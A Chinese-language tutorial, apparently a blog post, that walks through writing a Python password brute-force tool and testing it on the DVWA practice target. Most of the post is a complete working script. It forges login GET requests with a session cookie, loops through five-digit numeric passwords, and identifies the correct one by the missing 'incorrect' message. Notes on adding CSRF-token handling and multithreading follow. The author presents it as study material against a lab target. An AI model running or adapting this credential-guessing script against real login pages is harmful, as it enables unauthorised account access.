密码爆破其实是将把可能为密码的字符串集合逐一验证,通过验证返回的结果来找到密码。 为了验证编写密码爆破工具的有效性,则用了DVWA靶场来验证。我们随意输入一串数字来看看返回的验证结果是如何。
可以看到,只要密码不正确则页面会显示Username and/or password incorrect. 那么根据这一特征,我们则可以利用密码爆破来编写爆破的框架了,首先我们确定我们爆破密码的必需品:1,模仿页面产生请求;2,密码尝试;3,获取返回页面特征
import requests
def function_request():
url = 'http://10.3.61.68/dvwa/vulnerabilities/brute/'
header = {
'Host': '10.3.61.68',
'Connection': 'keep-alive',
'Upgrade-Insecure-Requests': '1',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
'Referer': 'http://10.3.61.68/dvwa/index.php',
'Accept-Encoding': 'gzip, deflate',
'Accept-Language': 'zh-CN,zh;q=0.9,zh-TW;q=0.8,en-US;q=0.7,en;q=0.6',
'Cookie': 'security=low;PHPSESSID=igjp30an8opurqc7aadrl8u407'
}
for pwd in range(10000,100000):
url_get = '?username=admin&password={}&Login=Login#'.format(str(pwd))
r = requests.get(url+url_get,headers=header)
r.encoding = 'utf-8'
r_text = r.text
fail_result = 'Username and/or password incorrect.'
if (fail_result in r.text):
print("尝试密码:{},密码错误。".format(str(pwd)))
else:
print("尝试密码:{},密码正确。".format(str(pwd)))
break
if __name__ == '__main__':
function_request()
那么大体框架已经构写出来了,如果存在有tocken值,则只需要在上面框架上填补几句代码,首先获取返回内容中的tocken,再将其填入到请求中的tocken。 结果验证:
以上代码为单线程爆破,这肯定是很慢的了,感兴趣的童鞋可以自行编写多线程爆破,以上内容主要以学习为主,有任何不对的地方请大佬们指出。
|